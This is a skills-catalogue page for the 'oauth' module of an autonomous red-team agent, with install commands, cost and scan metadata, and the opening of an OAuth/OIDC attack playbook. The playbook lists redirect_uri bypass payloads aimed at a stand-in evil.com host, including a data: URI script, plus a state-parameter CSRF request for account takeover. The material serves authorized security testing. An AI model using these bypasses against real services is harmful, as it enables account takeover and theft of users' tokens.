Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill oauthgit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/oauth)<a href="https://agentmods.dev/skills/purpleailab/decepticon/oauth"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/oauth/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/oauth"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/oauth.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector pass
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00041 | $0.01803 |
| Opus 5 | $0.00020 | $0.00901 |
| Sonnet 5 | $0.00008 | $0.00361 |
| Haiku 4.5 | $0.00004 | $0.00180 |
Grade A, and why
oauth scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s https://target/.well-known/openid-configuration | jq Copies of this mod
1 near-identical copy found in the catalogue:
- oauth — 100% identical, 0 lines differ
How it starts
The opening of the file, as written. The whole thing — 168 lines — stays where its author put it; the contents beside it link to each section on GitHub.
OAuth / OIDC Attack Playbook
OAuth bugs are the single highest-paying ATO vector in modern bug bounty. Every B2B SaaS has an OAuth surface; many implement it wrong.
1. Map the flow
# Discovery
curl -s https://target/.well-known/openid-configuration | jq
# Key endpoints to identify:
# - /authorize (where redirect_uri/client_id/scope arrive)
# - /token (where code exchanges for tokens)
# - /userinfo (claims about user)
# - /jwks.json (signing keys, see jwt/SKILL.md)
# - /revoke (sometimes overpermissive)
Capture a normal flow in Burp. Note: client_id, redirect_uri, state,
scope, response_type, code_challenge (PKCE).
2. Attack surface
2.1 redirect_uri bypass
The #1 OAuth bug class. Server's allowlist regex is too loose:
| Bypass | Example |
|---|---|
| Path append | https://target.com/callback/../../evil |
| Subdomain wildcard | https://target.com.evil.com/cb (server matches *.target.com) |
| Userinfo trick | https://[email protected]/cb |
| Path-traversal in fragment | https://target.com/cb#@evil.com |
| Open-redirect chain | redirect_uri=https://target.com/known-redirect?to=evil.com |
| Localhost / loopback | redirect_uri=http://localhost:1337 (often allowlisted) |
data: URI |
redirect_uri=data:text/html,<script>... (rare but devastating) |
| Mixed-protocol | http:// accepted where https:// required |
| URL-encoded slash | https://target.com%2Fcallback%[email protected] |
| Different fragment behavior | redirect_uri=https://evil.com#https://target.com/cb |
Test ALL of these. paramspider + Burp Intruder w/ payload list = systematic.
2.2 State parameter missing / weak (CSRF)
state should bind the auth request to the user's session. Missing or
predictable state → attacker initiates OAuth in own browser, sends victim
the URL, victim clicks → attacker's account now linked to victim's identity.
GET /authorize?response_type=code
&client_id=...
&redirect_uri=https://target.com/cb
&state= ← empty or predictable
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 168 lines · 41 tokens per session scan A 25a010cb53a4
oauth is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,482 stars, last pushed 11d ago), licensed Apache-2.0. It adds 41 tokens to every session and 1,803 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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